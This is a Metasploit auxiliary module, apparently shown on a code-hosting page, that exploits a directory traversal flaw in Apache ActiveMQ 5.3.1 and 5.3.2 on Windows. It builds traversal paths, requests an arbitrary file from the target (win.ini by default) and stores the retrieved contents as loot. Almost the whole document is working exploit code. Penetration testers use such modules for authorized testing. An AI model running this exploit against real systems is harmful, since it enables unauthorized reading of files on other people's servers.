Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/apache_activemq_traversal.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(update_info(info,12'Name' => 'Apache ActiveMQ Directory Traversal',13'Description' => %q{14This module exploits a directory traversal vulnerability in Apache ActiveMQ155.3.1 and 5.3.2 on Windows systems. The vulnerability exists in the Jetty's16ResourceHandler installed with the affected versions. This module has been tested17successfully on ActiveMQ 5.3.1 and 5.3.2 over Windows 2003 SP2.18},19'License' => MSF_LICENSE,20'Author' =>21[22'AbdulAziz Hariri', # Vulnerability discovery23'juan vazquez' # Metasploit module24],25'References' =>26[27[ 'OSVDB', '86401' ],28[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=895' ],29[ 'URL', 'https://issues.apache.org/jira/browse/amq-2788' ]30]31))3233register_options(34[35Opt::RPORT(8161),36OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),37OptInt.new('DEPTH', [false, 'Traversal depth if absolute is set to false', 4])38])39end4041def run_host(ip)42# No point to continue if no filename is specified43if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?44print_error("#{rhost}:#{rport} - Please supply FILEPATH")45return46end4748travs = "/\\.." * (datastore['DEPTH'] || 1)49travs << "/" unless datastore['FILEPATH'][0] == "\\" or datastore['FILEPATH'][0] == "/"50travs << datastore['FILEPATH']5152print_status("#{rhost}:#{rport} - Sending request...")53res = send_request_cgi({54'uri' => travs,55'method' => 'GET',56})5758if res and res.code == 20059contents = res.body60fname = File.basename(datastore['FILEPATH'])61path = store_loot(62'apache.activemq',63'application/octet-stream',64ip,65contents,66fname67)68print_status("#{rhost}:#{rport} - File saved in: #{path}")69else70print_error("#{rhost}:#{rport} - Failed to retrieve file")71return72end73end74end757677